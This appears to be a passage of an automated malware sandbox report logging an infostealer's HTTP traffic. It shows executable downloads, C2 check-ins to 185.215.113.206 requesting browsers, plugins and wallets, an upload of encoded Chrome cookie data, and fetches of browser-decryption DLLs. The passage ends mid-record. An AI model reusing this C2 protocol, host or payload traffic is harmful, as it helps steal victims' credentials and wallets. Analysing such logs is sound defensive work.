Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 11:09:00 GMTContent-Type: application/octet-streamContent-Length: 1910272Last-Modified: Mon, 25 Nov 2024 10:44:21 GMTConnection: keep-aliveETag: "67445505-1d2600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4c 00 00 04 00 00 48 6c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 e7 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 e6 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6d 7a 6d 66 6b 66 63 00 10 1a 00 00 e0 31 00 00 08 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 71 67 76 64 66 6b 78 00 10 00 00 00 f0 4b 00 00 06 00 00 00 fe 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4c 00 00 22 00 00 00 04 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 11:10:10 GMTContent-Type: application/octet-streamContent-Length: 1873408Last-Modified: Mon, 25 Nov 2024 10:24:30 GMTConnection: keep-aliveETag: "6744505e-1c9600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c0 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 c7 42 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6a 78 68 67 65 65 64 00 00 1a 00 00 20 30 00 00 f6 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 63 64 69 6a 78 71 62 00 10 00 00 00 20 4a 00 00 06 00 00 00 6e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 74 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 11:10:18 GMTContent-Type: application/octet-streamContent-Length: 4425728Last-Modified: Mon, 25 Nov 2024 09:38:20 GMTConnection: keep-aliveETag: "6744458c-438800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 c0 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c5 00 00 04 00 00 11 c9 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 a3 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 62 6e 76 7a 71 74 64 00 e0 1b 00 00 d0 a9 00 00 d6 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 67 6a 6f 78 78 7a 61 00 10 00 00 00 b0 c5 00 00 04 00 00 00 62 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 c5 00 00 22 00 00 00 66 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 35 34 44 39 41 45 41 46 32 39 34 32 36 36 34 39 38 37 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 2d 2d 0d 0a Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="hwid"D554D9AEAF294266498721------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="build"mars------JKEGDHCFCAAECAKECBAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 2d 2d 0d 0a Data Ascii: ------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="message"browsers------JKJDBAAAEHIEGCAKFHCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"plugins------IJEGDBGDBFIJKECBAKFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 2d 2d 0d 0a Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="message"fplugins------CFHIIEHJKKECGCBFIIJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJEHost: 185.215.113.206Content-Length: 7251Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDHJDGCGDAAKEBGDBKFHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IIDHJDGCGDAAKEBGDBKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 2d 2d 0d 0a Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="file"------DHIDHIEGIIIECAKEBFBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 2d 2d 0d 0a Data Ascii: ------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="file"------EHDGIJJDGCBKFIDHIEBK--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 185.215.113.206Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGIDGDGHCAAAAKKFCGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 49 44 47 44 47 48 43 41 41 41 41 4b 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 49 44 47 44 47 48 43 41 41 41 41 4b 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 